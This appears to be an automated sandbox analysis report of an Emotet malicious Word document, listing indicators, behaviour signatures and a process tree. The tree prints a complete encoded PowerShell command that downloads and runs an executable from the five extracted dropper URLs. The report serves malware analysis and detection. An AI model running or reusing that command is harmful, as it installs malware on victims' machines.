Analysis
- max time kernel
143s - max time network
140s - platform
windows10_x64 - resource
win10v200722 - submitted
13/08/2020, 18:03
General
- Target emotet_e3_e34e5f0797877e5201202c222ea1e3821baee179e42b02c7fbe1885f5ca3356c_2020-08-13__180206._doc.doc
- Size 231KB
- Sample200813-fa72b89aes
- SHA256 e34e5f0797877e5201202c222ea1e3821baee179e42b02c7fbe1885f5ca3356c
Malware Config
Extracted
-
ps1
-
exe.dropper
http://gregemmerth.com/stats/rBZp0wy31512967/
-
exe.dropper
http://paralink.com.br/faatads/19zPjcmw7r318182393/
-
exe.dropper
http://riandutra.com/img/yiZS/
-
exe.dropper
https://mrveggy.com/erros/Busgh63a1960/
-
exe.dropper
http://mycyberhealth.online/yyczief/wlW/
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blacklisted process makes network request 2 IoCs
- Executes dropped EXE 2 IoCs
- Loads dropped DLL 22 IoCs
- JavaScript code in executable 1 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Modifies registry class 2 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of FindShellTrayWindow 2 IoCs
- Suspicious use of SetWindowsHookEx 9 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_e34e5f0797877e5201202c222ea1e3821baee179e42b02c7fbe1885f5ca3356c_2020-08-13__180206._doc.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABBAE4AVwBUAFMAZQB2AGoAPQAnAEsASgBCAFkATwBvAGoAaQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAYwB1AHIAaQB0AGAAeQBwAGAAUgBgAE8AdABvAEMATwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAWABTAEIATABYAGUAdwBjACAAPQAgACcAVwBtAHoAeQAnADsAJABQAFoASgBRAFMAawBmAHEAPQAnAEkARgBOAFQAVwB1AGgAdAAnADsAJABBAEwAWgBLAEgAbABvAGkAPQAkAGUAbgB2ADoAdABlAG0AcAArACcAXAAnACsAJABYAFMAQgBMAFgAZQB3AGMAKwAnAC4AZQB4AGUAJwA7ACQAUABYAE8ARQBaAHkAegBkAD0AJwBDAFAASQBKAEQAegBjAHkAJwA7ACQATwBKAEoASgBZAGEAaQBoAD0ALgAoACcAbgBlAHcALQBvAGIAagBlACcAKwAnAGMAJwArACcAdAAnACkAIABOAEUAVAAuAHcAZQBiAEMAbABpAGUATgBUADsAJABLAEcASwBFAEgAagBvAGwAPQAnAGgAdAB0AHAAOgAvAC8AZwByAGUAZwBlAG0AbQBlAHIAdABoAC4AYwBvAG0ALwBzAHQAYQB0AHMALwByAEIAWgBwADAAdwB5ADMAMQA1ADEAMgA5ADYANwAvACoAaAB0AHQAcAA6AC8ALwBwAGEAcgBhAGwAaQBuAGsALgBjAG8AbQAuAGIAcgAvAGYAYQBhAHQAYQBkAHMALwAxADkAegBQAGoAYwBtAHcANwByADMAMQA4ADEAOAAyADMAOQAzAC8AKgBoAHQAdABwADoALwAvAHIAaQBhAG4AZAB1AHQAcgBhAC4AYwBvAG0ALwBpAG0AZwAvAHkAaQBaAFMALwAqAGgAdAB0AHAAcwA6AC8ALwBtAHIAdgBlAGcAZwB5AC4AYwBvAG0ALwBlAHIAcgBvAHMALwBCAHUAcwBnAGgANgAzAGEAMQA5ADYAMAAvACoAaAB0AHQAcAA6AC8ALwBtAHkAYwB5AGIAZQByAGgAZQBhAGwAdABoAC4AbwBuAGwAaQBuAGUALwB5AHkAYwB6AGkAZQBmAC8AdwBsAFcALwAnAC4AIgBTAGAAUABsAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEoAQgBMAEsARQBoAGoAYQA9ACcASwBWAFIATwBBAGQAcwBrACcAOwBmAG8AcgBlAGEAYwBoACgAJABRAE8ARwBGAEkAbAB1AGoAIABpAG4AIAAkAEsARwBLAEUASABqAG8AbAApAHsAdAByAHkAewAkAE8ASgBKAEoAWQBhAGkAaAAuACIAZABvAGAAVwBuAGAATABvAGEARABmAGkAYABMAGUAIgAoACQAUQBPAEcARgBJAGwAdQBqACwAIAAkAEEATABaAEsASABsAG8AaQApADsAJABLAEsAQQBMAFIAbwB4AGMAPQAnAFMAWQBDAE4AUgB5AHgAeQAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0ACcAKwAnAC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEEATABaAEsASABsAG8AaQApAC4AIgBMAEUAYABOAEcAYABUAGgAIgAgAC0AZwBlACAAMwAzADMANAAxACkAIAB7ACYAKAAnAEkAbgB2AG8AawBlAC0ASQB0ACcAKwAnAGUAJwArACcAbQAnACkAKAAkAEEATABaAEsASABsAG8AaQApADsAJABFAFQASABWAFkAYwBvAGkAPQAnAE4ATwBGAFIAUwB5AHMAbgAnADsAYgByAGUAYQBrADsAJABZAEoAWABOAEIAZgBxAGMAPQAnAFgARQBUAFEAQwBsAGoAZwAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABEAFAAQwBJAEQAZwBiAHAAPQAnAE0ARwBKAFAAWgBsAGEAegAnAA==1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Wmzy.exe"C:\Users\Admin\AppData\Local\Temp\Wmzy.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\.CR.12581\Avira.Spotlight.Bootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\.CR.12581\Avira.Spotlight.Bootstrapper.exe" OriginalFileName=Wmzy.exe3⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies registry class
- Suspicious use of FindShellTrayWindow
-
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
memory/3488-4-0x000001CB57212000-0x000001CB57235000-memory.dmp
memory/3488-0-0x00007FFCCEBC0000-0x00007FFCCF286000-memory.dmp
memory/3900-51-0x0000000005B70000-0x0000000005B71000-memory.dmp
memory/3900-17-0x0000000000AF0000-0x0000000000AF1000-memory.dmp
memory/3900-40-0x00000000059A0000-0x00000000059A1000-memory.dmp
memory/3900-64-0x000000000A3A0000-0x000000000A3A1000-memory.dmp
memory/3900-63-0x0000000008F90000-0x0000000008F91000-memory.dmp
memory/3900-43-0x0000000005A30000-0x0000000005A31000-memory.dmp
memory/3900-35-0x0000000002FD0000-0x0000000002FD1000-memory.dmp
memory/3900-32-0x0000000002F80000-0x0000000002F81000-memory.dmp
memory/3900-37-0x0000000005F30000-0x0000000005F31000-memory.dmp
memory/3900-25-0x0000000005570000-0x0000000005571000-memory.dmp
memory/3900-62-0x00000000069E0000-0x00000000069E1000-memory.dmp
memory/3900-29-0x0000000005920000-0x0000000005921000-memory.dmp
memory/3900-55-0x00000000059F0000-0x00000000059F1000-memory.dmp
memory/3900-16-0x0000000073860000-0x0000000073F4E000-memory.dmp
memory/3900-21-0x00000000054B0000-0x00000000054B1000-memory.dmp
memory/3900-60-0x0000000005CA0000-0x0000000005CA1000-memory.dmp
memory/3984-9-0x00007FFCC7390000-0x00007FFCC7D7C000-memory.dmp
memory/3984-10-0x000001C350350000-0x000001C350351000-memory.dmp
memory/3984-11-0x000001C350500000-0x000001C350501000-memory.dmp